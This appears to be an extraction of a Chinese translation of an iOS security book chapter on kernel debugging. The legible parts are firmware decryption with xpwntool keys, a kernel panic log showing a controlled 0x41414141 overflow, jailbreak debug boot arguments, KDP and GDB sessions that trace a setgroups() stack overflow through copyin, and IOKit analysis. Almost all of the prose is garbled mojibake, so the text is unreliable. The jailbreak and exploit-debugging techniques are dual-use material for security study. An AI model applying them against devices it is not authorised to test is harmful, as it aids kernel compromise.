ᄰՎۋՁ٧ူܪᄉ᝹ܫ௦РၸGIDࠚᨄᄉὋᤇᛪᇧiPhone 4ǋiPod4G֖iPad1РၸᄰՎᄉࠚᨄὋᏪ

ϷiPhone 3G(S)ǋiPad 2֖iPhone 4S˧ዜᄉФ̴᝹ܫѶ΍ၸ˿ʿՎᄉࠚᨄǌځ൤Ὃ᜵३ҁྱ߿Юನ

ᄽൣᄉᝌࠚࠚᨄὋ׬ʶԺᛠᄉҨกࡂ௦ڙ΍ၸᄰՎۋՁ٧ူܪᄉ᝹ܫʼᤁᛠ̼ᆉǌ൤ܰὋGIDࠚ

ᨄڙЮನըҮґᄉ᝹ܫल࠭᣾ር˖௦ሄၸᄉὋځ൤ڙᆷ߿ᝌࠚࠚᨄௐ᜵ၸҁbootromǋiBoot੊
ramdiskጞᄉ໣วஈѣርࣿǌᤇ˶ࡂ਒։ᅋڙᎃзఴ˹ௐὋੇ͂ఆௐ෤థҨกԨ३iPad 2֖iPhone 
4SᄉᝌࠚࠚᨄὋ࠺˝ځ௃Мधᄉ᧪ࠪᤇ̎᝹ܫᄉऄࡎ໣วஈѣርࣿǌࠪ ̅Ф̴Չሗ᝹ܫ౎ឬѶ෤

᫇ᮤὋࠃᬄᄉࠚᨄԺ̾ڙTHEiPHONEWiKi὇http://theiphonewiki.com/ὈᤇಧᄉᎩቢʼ੊௦redsn0w
ᄉkeys.plist஠͇˖੼ҁǌ 

⊼ᛣ ឳᏧԺڙఴ˹ᦠݒᎩቢwww.wiley.com/go/ioshackershandbookʽᣑఴብ˖ᄉ̼ᆉǌ 

ᅻ᥊˿ࠚᨄ˧ՐၸxpwntoolᝌࡂࠚॡኤӬ˿ὋᏪ˄ʶெᝌࡂࠚԺ̾ପᇧЮನᄉማࠚ˿ǌʽ

ኃ �ብ
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᭦ᄉΒࡘߔᇧ˿ݟʹ΍ၸxpwntoolᝌࠚЮನὙ 

$ xpwntool kernelcache.iPod4,1_4.3.5_8L1.packed 
kernelcache.iPod4,1_4.3.5_8L1.decrypted -iv 48c4bac83f853a2308d1525a4a83ac37 –k 

4025a88dcb382c794a295ff9cfa32f26602c76497afc01f2c6843c510c9efcfc 

ᝌࠚՐੇ͂͗ԦဗЮನ̃ᤈ҃஠͇Фࠃ௦˓ARM Mach-OԺ੯ᛠ஠͇ǌᬓ˿۲ఴЮನ὇base 
kernelὈὋ߱ᤆդథᔩ࣯˓ߚϱᅋࣂҪᣑЮನੰࡘᄉߚϱൿǌᤈʶ൥ѫౡ̃ᤈ҃஠͇˖ᄉߙቿ˘Ὃ

ੇ͂ᤆ͗ԦဗiOSЮನФࠃ௦̯XNUЮನຸ̼ᆉʶ˓లМधᄉѫஂᎃដᏪ౎ᄉǌځ൤ὋiOSЮನ

ᄉፆౝˀMac OS XЮನᄉፆౝᄰՎǌᤇ਒։ᅋὋԵ᜵ਆࠪ۲ఴЮನᤈᛠѫౡὋМधྟᄉXNUЮ

ನ঳ᑞࣞʼ঄Ὃᬓ᭣෤ૅҁˀARM౵ౝᄰСᄉຸ̼ᆉǌᬓ൤˧ܰὋܷࠪࠑMac OS Xᄉܷܲஜᝢ

ខ˶ᄯଋ᤟ၸ̅iOSὋԵథ࠵ஜΒܰǌځ൤ὋܷڙࠑiOSᄉЮನ˖˶ᑞԦဗXNUᄉʻܷ˞᜵ጷ੆

ᦉѫὋ߱͂ѫѾ௦bsdǋmach֖IOKitǌ�

9.2�  Ḍⱘ䇗䆩ݙ
Юನ࢜ຳᤈᛠѫౡὋ੊௦धԦ᧗᜵ᄉЮನ໣วஈѣርࣿௐὋੇࠪڙ ͂థॸ᜵ڙЮನː᧗ᩱឧ

Ԧၶ˧ґࠪЮನ˖ൣڙԦၶᄉԪӐतበԥᯟ఺҃ǌࡉክࠪiOSЮನᄉ̃ᤈ҃ѫౡࣂፂ᝼௙Mac OS 
X੝Хథᄉܷᦉѫុណҩᑞ˶ᜁᎃដҁiOS˖Ὃਆѽၸ߱͂ԁࣲʿࠓ௛ǌఴᓫࡂ᜵សጹ̭ፀiOS˖
ԺΘᤤસᄉՉሗុណழกǌ 

ኃʶሗ௦᫝ឳЮನԦၶː᧗ᩱឧ࠭ᒰ iOS᧗ըՐၿDumpPanicၶ੆ᄉː᧗ᩱឧ௅ং

὇paniclogὈὋ̯Ꮺ଍ူѢЮᦉᄉЮನ࿃খǌᤇ̎ː᧗ᩱឧ௅ং஠͇ᦏ௦̎ኤӬᄉ஠ఴ஠͇Ὃ಩૵

੝ԦၶЮನː᧗ᩱឧᄉዜۋᄉʿՎὋ߱ ͂ᄹᡐ౎௦థӜѾᄉǌథСᤇ൒ː᧗ᩱឧᄉʶᓉζো˖Ӊ

դ˿CPUᄉॆґ࿃খὋᏪ˄ݟ౦ԺᑞᄉពὋᤆథʶ࠴ൿЮನᤜᢍζোǌጆፑ͗ઁКᦉЮನː᧗ᩱ

ឧ௅ং஠͇அᬶҁ/Library/Logs/CrashReporter/Panicsᄫे˖Ὃڙᡔ࿜᣾ᄉ᝹ܫʼឞᄫेԺ̾ᄯଋ

᝺᫇ǌࠪ̅లᡔ࿜ᄉ᝹ܫ౎ឬὋੇ͂Ժ̾᤯᣾MobileDevicesಳ౵ըҮ lockdownߵએᤈርᄉ

com.apple.crashreportmoverనҫὋઁː᧗ᩱឧ֖࢜ຳᄉ௅ং஠͇ሧҮҁ/var/mobile/Library/Logs/ 
CrashReporterᄫे˖ǌ᜵̯ᤇ˓ͮᎵԨٿᤇ̎௅ং஠͇Ὃܷ  -Եᭉ᜵ѽၸcom.apple.crashreportcopyࠑ
mobile AFCనҫǌඇॆiTunesᤋଋҁࣛథː᧗ᩱឧ௅ং஠͇ᄉ᝹ܫὋᤇ̎నҫઁ͗ࡂᤇ̎஠͇ܬ

҃ҁMac఺ʼᄉ~/Library/Logs/CrashReporter/MobileDevice/<devicename>/PanicsᄫेὋᏪੇ͂ॡࠓ

௛̯ᤇ˓ᄫेଡԨᤇ̎஠͇ǌ 

  Incident Identifier: 26FE1B21-A606-47A7-A382-4E268B94F19C 

  CrashReporter Key:   28cc8dca9c256b584f6cdf8fae0d263a3160f77d 

  Hardware Model:      iPod4,1 
  Date/Time:       2011-10-20 09:56:46.373 +0900 

  OS Version:      iPhone OS 4.3.5 (8L1) 

 
  panic(cpu 0 caller 0x80070098): sleh_abort: prefetch abort in kernel 

  mode: 

  fault_addr=0x41414140 
  r0: 0x0000000e  r1: 0xcd2dc000  r2: 0x00000118  r3: 0x41414141 

  r4: 0x41414141  r5: 0x41414141  r6: 0x41414141  r7: 0x41414141 
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  r8: 0x41414141  r9: 0xc0b4c580  r10: 0x41414141 r11: 0x837cc244 
  12: 0xc0b4c580  sp: 0xcd2dbf84   lr: 0x8017484f  pc: 0x41414140 

  cpsr: 0x20000033 fsr: 0x00000005 far: 0x41414140 

 
  Debugger message: panic 

  OS version: 8L1 

  Kernel version: Darwin Kernel Version 11.0.0: 
  Sat Jul 9 00:59:43 PDT 2011; 

  root:xnu-1735.47~1/RELEASE_ARM_S5L8930X 

  iBoot version: iBoot-1072.61 
  secure boot?: NO 

  Paniclog version: 1 

  Epoch Time:        sec       usec 
    Boot      : 0x4e9f70d3 0x00000000 

    Sleep     : 0x00000000 0x00000000 

    Wake      : 0x00000000 0x00000000 
    Calendar  : 0x4e9f713d 0x000319ff 

 

  Task 0x80f07c60: 6227 pages, 79 threads: pid 0: kernel_task 
  Task 0x80f07a50: 185 pages, 3 threads: pid 1: launchd 

ʼ᭦ᤇൿː᧗ᩱឧ௅ংᇧΒଠᤗ˿ڙल࠭౼˓ྱ൳ЮನௐԦၶᄉЮನː᧗ᩱឧǌԦၶᤇ˓ː

᧗ᩱឧᄉԓ̅ڙځCPUណ0ڦڠ̯ڎx41414140ᮔԨଋʽ౎ᄉૈ̽ǌᤇᛪᇧ۲̅ಖᄉᎀуӜຼѢ

͗ၸܷ᧙ᄉߙቿA᧗зߚࣂϱᄉ࠘٧ߚϘ֖ߚࣂϱᄉᤄڦڠٿǌʿ᣾Ὃᤇ͊ː᧗ᩱឧ௅ং˖ణ᧗

᜵ᄉζো௦LR࠘٧ߚᄉϘὋځ˝ឞ࠘٧ߚդథຼѢѥஜុၸ˧Րૈ̽ᄉڦڠǌʿ ᣾Ὃᤇሗុណழ

กᄉࡌᬌবॡुὋ෤กᝧܷុ̯ࠑၸ̼ᆉᄉڠழᤈᛠᤜᢍࣲᆷ߿੊੼ҁलԦ᫇ᮤᄉᣤЙǌࡉክݟ

൤ὋڙiOS 4.3˧ґὋ̠͂᧪ࠪ੝థၸ̅iOS᝹ܫᡔ࿜ᄉМध໣วधԦЮನ໣วஈѣርࣿௐὋᤇሗ

ழก௦˞᜵ᄉុណழกǌԵథڙiOS 4.3Ԧ࣊˧ՐὋЮನᳫ͂ࠆ੥੆ҩѽၸiOSЮನ˖ӉդᄉԲʶ

ሗఝुܷᄉុណҩᑞǌ�

಩૵ࠪiOSᄉkernelcache஠͇ᤈᛠᄉ̃ᤈ҃ѫౡὋ̠͂३ᅻMac OS XЮನ˖΍ၸᄉЮನុណ

ӨᝫKDP˶ᜁᎃដҁ˿iOSЮನ˖ǌ༎าឞӨᝫࡂ᜵ය΍ၸdebugल࠭ԟஜὋ੊ल࠭੩᣾ᛩʷᄉ

Юನǌᒬ̯George HotzधԦᄉlimera1n bootrom໣วஈѣርࣿԦ࣊ՐὋiPhone 4˧ዜॆௐᣖளᄉ

᝹ࡂܫԺ̾ᤇಧុណЮನ˿ǌʿ ᣾ځ˝Мधᄉᡔ࿜˖Юನᛩʷࣂ૮ڭὋ੝̠̾͂ʶधࠪݼᤇሗழ

กᄉ࠼ណܾ᠋˿ὋᏪ˄KDP͗ᜁ᜼˝ࣂ૮ڭ੊௦ࣂᜁᔰ౦МՂ᭦ՓiOSሄၸ˿ᄉǌͭ௦Ὃڙፂ᣾

ʶൿௐᫍՐὋ̠͂ԦဗKDPФࠃ௦ᦉѫᤁᣀᄉὋᏪ˄ڙल࠭ᅮᫍЮನ࢜ຳՐԵқᦉѫҩᑞ˿ǌᤇ

̎ζোᝧੇ͂థԺᑞ̯МधᄉЮನᛩʷ˖ᤜಉलԦ᫇ᮤᄉԓځǌ̬ݟKDPࣂፂ߸КԺ̾΍ၸ˿ǌ 
ʶधݼὋѽၸKDPᤈᛠiOSЮನុណ௦ԵథiOSᡔ࿜धԦڃ᫲ᄉ੆տ੥ᑞ΍ၸᄉழयὋځ˝Ե

థ̴͂੥ᑞल͉࠭਒Юನ੊ڙल࠭ణளྟఴᄉiOSௐ΍ၸल࠭ԟஜǌᤇሗࡌ᭦ڙChronic Dev Team
Ԧ࣊धຸᡔ࿜ࢹХsyringeௐᯪ൒Ԧၶ˿இԪǌథ˿ᤇ̼̎ᆉὋඇ˓̠ణՐᦏథԺᑞल࠭ʿՎᄉ

Юನ੊ଡΘ͉਒ल࠭ԟஜ˿ǌˀ൤ՎௐὋiPhone Dev Team࠱ᤇʶҩᑞຊҪҁ˿̴͂ᄉredsn0w

༎าKDPᄉৰхʽल࠭ЮನԵᭉ᝹ᎵڙὋ᜵ڙХὋᝧ௾᤯ᄉణጻၸਖ਼˶ᑞଋᝎҁឞҩᑞǌဗࢹ

debugल࠭ԟஜᄉ-aᤤᮉǌ 

$ ./redsn0w -j -a "debug=0x9" 
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debugल࠭ԟஜФࠃ௦ͮߙൿὋᝧܷࠑԺ̾ᤤ˖੊Ԝᬓྱ߿ᄉKDPҩᑞǌᛪ9-1ѴѢ˿᤯᣾Ѭ

૰᤟ॆᄉͮ੝ᑞ΍ၸᄉʿՎុណҩᑞǌஂ૆ᄉ֖ͮࡂMac OS XЮನុណ˖Ժၸᄉᥦ̎ͮᄰՎὋ

Ꮺ˄Ժ̯̾ᔰ౦МՂଡΘᄉЮನុណ஠ು˖੼ҁǌʿ ᣾Ὃ౼̎ុណҩᑞԺᑞʿ͗᣹ҁᮔయ஌౦੊

Ꮷ಩ఴʿԺၸǌڙѢဗː᧗ᩱឧ੊ʿԺࡕᘈ˖ற὇NMIὈௐѸतЮನᣀϱᄉᤤᮉࡂʿᡐͺၸὋځ

˝iPhone˖෤థܹ̾Ꭹ᝹ܫǌ಩૵ᔰ౦МՂधԦ̠տڙઐն˖ᄉឬกὋϷ᫈Й̅ܪNMI࿃খᄉុ

ណ٧ᤇಧᄉᤤᮉ௦Ժ̾ᡐ஌ᄉὋʿ ᣾ॆܷ࠼ࠑណᤇ̎ᤤᮉௐὋ߱ ͂ԺᑞԵ௦लԦː᧗ᩱឧࣲ΍᝹

ʼὋԵ᜵Վௐ૊Ͱႂܫளᤂ᭦ˆᄉᔰ౦᝹ڙ᧗ըǌᤇԺᑞ௦ၿԲʶ˓ԩ૮ᄉЮನᛩʷ࠭ᒰᄉǌܫ

ຸ᪃֖ᮂ᧙ђ࠴᪃іሙ᧾Ὃੇ͂ࡂԺ̾ᝎԦNMIǌ�

㸼9-1� ৃ䗮䖛debugᓩᇐখ᭄䗝ᢽⱘ䇗䆩䗝乍 

ৡ� � ⿄ ؐ ᦣ� � 䗄 

DB_HALT 0x01 ఆϢल࠭Ὃኍय़ᬃҪុណ٧ 

DB_PRT 0x02 ᤇ͗࠭ᒰЮನprintf()ឥԱᜁԦᤞፋଌ҃Ի 

DB_NMI 0x04 ᤇःឞఆϢNMI 

DB_KPRT 0x08 ᤇ͗࠭ᒰЮನprintf()ឥԱᜁԦᤞፋଌ҃Ի 

DB_SLOG 0x20 ᤇ͗ઁងறζোᣤѢҁጆፑ௅ং 

DB_ARP 0x40 ᤇᝧុណڙ٧ᡴᡸၿ٧ុណௐԺ̾ARP֖ᡸၿ 

DB_LOG_PI_SCRN 0x100 ᤇ͗ሄၸ्ڎӐᄉː᧗ᩱឧࠪពಳ 

 
Ꭹ੊Ꮷܹ̾ڙʼ΍ၸKDPǌKDP௦ʶሗԺ̾ܫiPhoneᤇಧᄉ᝹ڙᭉ᜵ᝌфʶ̎᫇ᮤழᑞࠑܷ

˘ᛠଋԯʼ΍ၸᄉUDPӨᝫὋᏪiPhoneʼ෤థᤇˏሗቪԯǌʿ᣾ὋiPhoneᄉ۲एᤋଋ٧ᄉलᑭᛪ

௙ᒯ࠵Ժ̾᤯᣾ኃ12Ձ֖ኃ13Ձ᧪ᑭ᝺᫇˘ᛠቪԯǌ߱͂Ժ̾ၸ౎ౝतiPhone۲एᤋଋ٧ҁ˘ԯ

᤟ᦠ٧ǌܷࠑԺ̾ڙఴ˹ᦠݒᎩቢ὇www.wiley.com/go/ioshackershandbookὈʼ੼ҁ߸ஞᝌ᧕˿

۲एᤋଋ٧लᑭǋ੝ᭉᦉ͇֖ౝत᣾ርᄉૈӮǌ 
ʶெ઴థ˿ઁiPhoneᤋଋҁ˘ᛠቪԯᄉ۲एᤋଋ٧ҁ˘ԯ᤟ᦠ٧Ὃ;͗ࡂ᥄ҁԲʶ˓᫇ᮤὋ

߱ˀGNUុណ٧὇GDBὈԢФࠪKDPᄉஂ૆థСǌ᳭ᝢৰхʽὋGDBʿஂ૆᤯᣾˘ԯᄉKDPὋ
ឞ˝ځᤴᄉܹ̾Ꭹ֖UDPஜ૵Ӊ˖ǌ͡ڙᜈ࠯ԀΦ΍ၸᄉ௦˘ԯὋKDP̮ཨ͗ઁඇ్๖োᦏ˝ځ

᫇ᮤʿൢ͗ॕֽiOSὋᤆ͗ॕֽMac OS XᄉЮನុណὋ੝̠̾͂ࣂፂፋѢ˿ᝌфழกǌ2009ࣱڙὋ

David ElliottधԦ˿ʶ˓Տ˝SerialKDPProxyᄉࢹХὋ߱Ժ̾Ќॆ˘ԯʼUDPҁKDPᄉ̼ူǌܷࠑ

ःឞ΍ၸၿԓࢹݼХีၶᄉளྟఴ὇https://github.com/stefanesser/serialKDPproxyὈὋځ˝ԓࢹݼ

ХʿᑞڙMac OS X Lionʼൣ࣡ࢹͺǌ΍ၸឞࢹХᄉৰхݟʽ੝ᇧὙ 

$ ./SerialKDPProxy /dev/tty.<serial device name> 

Opening /dev/tty.<serial device name> 
Waiting for packets, pid=577 

AppleH3CamIn: CPU time-base registers mapped at DART translated address: 

0x0104502fmi_iop_set_config:192 cmd->reasetup_cyclesAppleH3CamIn: 
:se4Driver: 

pdleOpennit: driver advertises bootloader pages 
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AppleNANDLegacyFTL::_FILInit: driver advertises WhiteningData 
eD1815PMU::start: DOWN0: 1050mV 

tart: set VBUCK1_PRE1 to 950 

AppleD1815PMU::start:A2 x 4 = 8,IIAppleNANDFTL::_publishServices: 
Creating block device of 3939606 sectors of 8192 bytes 

AppleNANDFTL::_publishServices: block device created, ready for work 

AppleNANDFTL::setPowerStamappings 

థ˿ᤇ̎᝹ᎵὋܷࠑణጻԺ̾ၸGDBᤋଋҁኍय़ុណ٧ᄉiOSЮನ˿ǌ˝᣹ҁణ·஌౦Ὃܷ

ፂӉդ˿੝థॸ᜵ᄉࠪARMᄉஂ૆ǌࣂ߱˝ځःឞ΍ၸiOS SDK˖ଡΘᄉGDB̃ᤈ҃஠͇Ὃࠑ

᜵ᝧGDB᤯᣾SerialKDPProxyԦܥὋੇ͂ࡂ᜵᧪ࠪᤉርᄉKDPᄫಕࠪФᤈᛠᦠᎵὋࣲնឃ߱ᬃҪ

ҁఴڠ˞఺ʼὙ�

$ /Developer/Platforms/iPhoneOS.platform/Developer/usr/bin/gdb -arch 

armv7 GNU gdb 6.3.50-20050815 (Apple version gdb-1705) 

(Fri Jul 1 10:53:44 UTC 2011) 
This GDB was configured as 

"--host=x86_64-apple-darwin --target=arm-apple-darwin"... 

(gdb) target remote-kdp 
(gdb) attach 127.0.0.1 

Connected. 

΍ၸុណ٧Ὃ͗ڎ౦൤ௐ;ណݟ ԦဗԺၸবॡథᬌὋځ˝GDBࠪ᜵ុណᄉࠃᬄᄫಕඒ௃˿ᝌǌ

ᤜᢍҩᑞ˶ʿᑞԦ૘ᮔయᄉ஌౦Ὃࣲ˄Ե௬ᇧ˿ʶ్లᅻஜ૵ᮉǌ൤ܰὋexamine͗̽֐ᩱឧڠ

̾ARMഴय὇Ꮺʿ௦ThumbഴयὈ̼ࠪᆉᤈᛠԥ඼ᎃὙ�

(gdb) bt 
#0 0x8006e110 in ?? () 

(gdb) x/5i $pc 

0x8006e110:   undefined 
0x8006e114:   rscle   r2, sp, r0, lsl #24 

0x8006e118:   rscsle  r2, r9, r0, lsl #28 

0x8006e11c:   ldrtmi  r4, [r1], -r0, asr #12 
0x8006e120:   mrrc2   7, 15, pc, r4, cr15 

᜵३ҁൣᆷᄉԥ඼ᎃ஠͇Ὃܷࠑॸᮋु҃GDB࠱CPSR࠘٧ߚᄉTͮᏥᘼᤈ౎Ὑ�

(gdb) x/6i $pc | $cpsr.t 

0x8006e111:    undefined 
0x8006e113:    b.n     0x8006e114 

0x8006e115:    cmp     r4, #0 

0x8006e117:    beq.n   0x8006e0f4 
0x8006e119:    cmp     r6, #0 

0x8006e11b:    beq.n   0x8006e110 

Ꮺᝌфᤜᢍѥஜ૮ڭᄉ᫇ᮤࡂʿᤇ˥ኤӬ˿ǌ᜵३ҁൣ࣡ᄉᤜᢍѥஜὋੇ͂ࡂᭉ᜵ՓGDB
ଡΘቿՁӐᄉЮನ̃ᤈ҃஠͇ǌ΍ၸᝌࠚ˄లԌ᎕ᄉЮನᎀ̃ߚᤈ҃஠͇Ժ̾இؒᤇʶৰхὋʿ

᣾ᤇԵᑞଡΘ࠵᧙ᄉЮನቿՁǌੇ ͂௃กᖌ३߸ஞᄉЮನቿՁᬶὋځ˝ᔰ౦МՂࣲʿ࣎భథ̠౎

ុណiOSЮನǌځ൤Ὃ߱෤థՓМ͔ଡΘiOSЮನុណ͇ݒǌʿ᣾Ὃ˝Mac OS XଡΘᄉЮನុណ

ХὋᏪឞࢹ΍ၸzynamics BinDiffᤇಧᄉࠑᤇЉ᝴ܷ˝ځiOSᄉЮನុណ౎ឬ̮ཨథၸὋ͇̅ࠪݒ

ፂ˝౼̎iOSࣂХၴᒯԺ̾ᡴCPU౵ౝሧೱቿՁǌᬓ൤˧ܰὋidaiostoolkitଡΘఝܷᄉʶጷࢹ
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These kernel symbols can be used as follows$ 
/Developer/Platforms/iPhoneOS.platform/Developer/usr/bin/gdb -arch armv7 

kernelcache.symbolized 

(gdb) target remote-kdp 
(gdb) attach 127.0.0.1 

Connected. 

(gdb) bt 
#0 0x8006e110 in sub_8006E03C () 

#1 0x8006e19e in Debugger () 

#2 0x8007402a in sub_80074020 () 
#3 0x8000a9a0 in kdp_set_ip_and_mac_addresses () 

#4 0x8000ac88 in sub_8000AC14 () 

#5 0x80020cf6 in sub_80020C98 () 
#6 0x8006c31c in sub_8006C300 () 

ဗࠑܷڙԺ̾ᬣܪ᝹Ꮅறཁ˿ǌᤇ᧖0ڦڠڙx8017484Aܪ᝹Ꮅ˿றཁὋឞͮᎵ௦ᤈᛠ

copyin()ុၸᄉڠழὋᏪᤇൣ௦ڙː᧗ᩱឧ௅ং˖ឬ௙ᄉलԦಖᎀуӜຼѢᄉѥஜុၸǌᤇ˓

றཁ௦ͮ̅setgroups()ጆፑុၸ˖ᄉὙ�

(gdb) break *0x8017484a 

Breakpoint 2 at 0x8017484a 
(gdb) c 

Continuing. 

ल࠭᣾ር˖᜵ܲ൒ᝎԦsetgroups()ጆڙ˝ځԺ̾ፘ፝੯ᛠὋᄯҁ̼ᆉᝎԦឞறཁǌࠑܷ

ፑុၸὋ੝̾ੇ͂ణݝ௦ڙጆፑ߸੆ल࠭˧Րв༎าឞறཁǌ੯ᛠᤇ˓ৎ਒ᄉ̃ᤈ҃஠͇ௐὋФ

�ጻൢ˿Ὑࡂ੯ᛠܪឞறཁڙࠃ

Breakpoint 2, 0x8017484a in sub_80174810 () 
(gdb) x/5i $pc | $cpsr.t 

0x8017484b <sub_80174810+59>:     blx     0x8006cdf0 <copyin> 

0x8017484f <sub_80174810+63>:     mov     r8, r0 
0x80174851 <sub_80174810+65>:     cbnz    r0, 

0x8017488c <sub_80174810+124> 

0x80174853 <sub_80174810+67>:     mov     r0, r4 
0x80174855 <sub_80174810+69>:     bl   0x80163fc0 <kauth_cred_proc_ref> 

Юನ˖ၸ̅ઁஜڙcopyin()ѥஜᄉុၸ˧ґὋᏪឞѥஜ௦ࠪڙ௦ݝԺ̾ᄹҁὋᤇ˓றཁൣࠑܷ

૵̯ၸਖ਼ቆᫍ҃ܬҁЮನቆᫍᄉǌ᜵ਆᅻ᥊ଋʽ౎͗Ԧၶ̣˥Ὃੇ͂ࡂᭉ᜵ՓGDBឯයߚϱڙR0ǋ

R1֖R2࠘٧ߚ˖ᄉcopyin()ᄉԟஜǌᬓ൤˧ܰὋੇ ͂ᤆᭉ᜵ឯයಖૈ᧪SP֖γڙߚR7˖ᄉಖૈ᧪Ὑ�

(gdb) i r r0 r1 r2 r7 sp 

r0             0x2fdff850   803207248 
r1             0xcd2cbf20   -852705504 

r2             0x200 512 

r7             0xcd2cbf7c   -852705412 
sp             0xcd2cbf20   -852705504 

ᤇᛪᇧࠪcopyin()ᄉុၸ͗ઁ512ߙᓫᄉஜ૵̯ၸਖ਼ቆᫍಖ҃ܬҁЮನቆᫍಖ˖ǌܷ ᤆ͗Ԧࠑ

ဗὋߙ512҃ܬᓫᄉஜ૵͗΍ЮನಖᎀуӜຼѢὋځ˝R7˖γߚᄉಖૈ᧪ԵඊᎀуӜᰳѢ92ߙᓫǌ �
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9.3� ḌᠽሩϢݙ IOKit 偅ࡼ⿟ᑣ 
iOSᄉ஠͇ጆፑ˖ʿդЮನੰ̃ࡘᤈ҃஠͇Ὃʿ᣾ᤇࣲʿᛪᇧiOSʿஂ૆Юನੰࡘǌ̂ࠃʼὋ

੝థॸ᜵ᄉЮನੰࡘᦏᜁᮔᩖଋҁЮನᎀ̃ߚᤈ҃஠͇ʼὋᏪᤇ਒։ᅋ᜵ፋЮನᎀ̃ߚᤈ҃஠͇

ຊҪ__PRELINK_TEXTǋ__PRELINK_INFO֖__PRELINK_STATEᤇі˓ྱ൳ᄉߚϱൿǌᤇ̎ߚ

ϱൿӉդ˿੝థࣂҪᣑᄉЮನੰ̾ࡘԢС̅߱͂ᄉᮨܰЊஜ૵ǌځ൤Ὃ΍ၸ੊ူܪiOSЮನੰࡘ

ᦏॸᮋ᜵థڙЮನᎀߚ˖ࠪᮨܰᄉMach-Õᤈ҃஠͇ᤈᛠူܪᄉࢹХǌᣖ௉ྟఴᄉHexRays' IDA 
ProࢹХӉ᳭ᝢৰхʽʿᑞူܪᤇ̎ᮔᩖଋᄉЮನੰࡘὋᭉ᜵ၸҁʶ˓Ժ̾ಉ੼Юನᎀߚ˖੝థ

KEXT̃ᤈ҃஠ࣲ͇ܰᮨ࠱ᄉߚϱൿຊҪҁIDAஜ૵ंᄉIDAPythonᑭఴ὇ឞᑭఴᄉᣤѢ1-9ڎݟ
੝ᇧὈǌʿ᣾ڙIDA 6.2ྟԦ࣊ՐὋ᳭ᝢ࿃খʽIDA˶ᑞူܪᤇ̎஠͇˿ǌ 

 

�1-9ڎ  ࡘ੼ҁᄉЮನੰ˖ߚЮನᎀڙ

9.3.1� ᇍIOKit偅ࡼ⿟ᑣᇍ䈵ᷥⱘ䗚৥໘⧚ 

IOKit᝹ܫ᯵Үርࣿ௦ʶ̎ྱ൳ᄉЮನੰࡘὋ߱ ͂΍ၸ˿iOSЮನ˖ᄉIOKit APIὋ௦΍ၸྱ൳

ᄉԩᬌྟC++ࠃဗᄉǌIOKitᄉࠃဗˀ߿˦ͮ̅XNUຸ̼ᆉᄉiokitߔᄫे˖ὋᏪC++ྟᄉЮನࠃဗ

὇Ӊહ੝థԺၸᄉ۲ఴࠪ៵Ὀڙlibkernߔᄫे˖ǌ 
++ር̠տᄹ౎ὋCࢹᤣՓڙஜIOKit᯵Үርࣿᦏ௦ຸ᫆ጷ͇Ꮺ˄෤థຸ̼ᆉὋ੝ܷ̾ܲ˝ځ

ᄉ΍ၸ͗ᝧ̂ৰԪ३ఝ˝ܬఽǌࠪ ൒ፆౝॸᮋΙ૵̃ᤈ҃஠͇੥ᑞ᧗तὋᏪ˄˝᭦Փࠪ៵ᄉࡎ៵

ርࣿᆷុ߿ၸڎᣖܬఽǌˀ൤ՎௐὋC++ᄉ΍ၸ˶͗ፋЮನࣛ౎ԵథC++੥థᄉ໣วዜὋᤇᝧࠪ

Юನᤈᛠ໣วஈѣԪ३ఝథᡙ˿ǌ 
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ਆख़ऄڠѫౡ౼ሗIOKit᯵ҮርࣿᄉҩᑞὋ᧗᜵ᄉ௦ᑞύү̃ᤈ҃஠͇᧗तC++ࠪ៵ࡎ൒ፆ

ౝǌڙʶᓉৰхʽὋᤇ͗࠱௦˓ܬఽᄉ͉ҫὋͭ ளᄉIOKit˦߿ڙIOKit᯵Үርࣿᄉ̃ᤈ҃஠͇ڙݝ
ࠪ៵ௐ͗ᥕ९ʶ̎ኤӬᄉ᜺ѶὙ 

� IOKitࠪ៵঳௦͗ੰࡘФ̴IOKitࠪ៵੊ၿIOKit۲ఴࠪ៵ีၶᄉࠪ៵὚ 
� ᜵˝ඇ˓IOKitࠪ៵ซбʶ˓ЊዜὋឞЊዜପᇧ˿ឞࠪ៵ᄉՏሥ̾ԢૈՓФྗࠪ៵ᄉૈ᧪὚ 
� Њዜᄉڙ˦߿iOS 4ᄉIOKit᯵Үርࣿ̃ᤈ҃஠͇˖௦ጊᬣዜ߿˦˧ՐᄉὋᏪࠪ̅iOS 5౎

ឬѶ௦ڙዜ߿˦ᄉᬃᤂǌ 
঳௦͗ᥕ९ᤇ̎᜺ѶὋ੝̾ੇ͂థԺᑞԵΙ᭤̃ᤈ҃஠͇᧗तஞ˓IOKitࠪ៵ಝǌᯪЎὋ˝ځ

᜵ࠃဗʶ˓IDAPythonᑭఴὋၸ౎ಉ੼੝థࠪ__ZN11OSMetaClassC2EPKcPKS_jቿՁᄉ̓ԡल

ၸǌឞቿՁ௦OSMetaClassࠪ៵ᄉౝᤴѥஜὋФݟ˦߿ʽ੝ᇧὙ 

  /*! 
 ຕ OSMetaClassࡧ@ *   

   * @֖ຕ className  ྺ޿OSMetaClass՗๖ڦC++ૌంఁڦCጴزޙ 

   * @֖ຕ superclass  OSMetaClassܔၡǈᆩᇀ՗๖޿ᇮૌܔᆌڦC++ૌגڦૌ 

   * @֖ຕ classSize  ྺ໯՗๖ڦC++ૌݴದٷ٪ాڦၭ 

   */ 

   OSMetaClass(const char * className, 
const OSMetaClass * superclass, 

unsigned int classSize); 

಩૵ᤇʶ߿˦ὋԺ̾ᄹҁុၸOSMetaClassౝᤴѥஜௐၸҁᄉԟஜӉહդథឞЊዜࠪःᄉ

C++ዜՏሥᄉߙቿ˘Ὃ̾ԢૈՓФྗЊዜᄉૈ᧪ǌᤇʶѬ̃ڙᤈ҃ጞ2-9ڎݟ੝ᇧǌ�

 

�2-9ڎ OSOrderedSetЊዜౝᤴѥஜ 

̃ᤈ҃ጞᄉOSMetaClassౝᤴѥஜុၸ΍ၸ˿4˓὇Ꮺʿ௦3˓Ὀԟஜǌኃʶ˓ԟஜᜁ͛Й

R0࠘٧ߚὋ߱ Ӊդ˿ૈՓॆґൣᜁౝतᄉЊዜᄉૈ᧪ǌᏪԲܰ3˓ԟஜ὇classNameǋsuperclass

֖classSizeὈѶѫѾᜁ͛ЙR1ǋR2֖R3࠘٧ߚǌ̋ ˿᧗तC++ዜಝὋੇ ͂᜵̯ࠪOSMetaClass

ౝᤴѥஜᄉុၸधݼὋज़ٿᤜᢍR1֖R2ᤇˏ˓࠘٧ߚᄉϘǌ൤ܰὋܷࠑᤆ᜵ᆷॆ߿ґᄉѥஜὋ

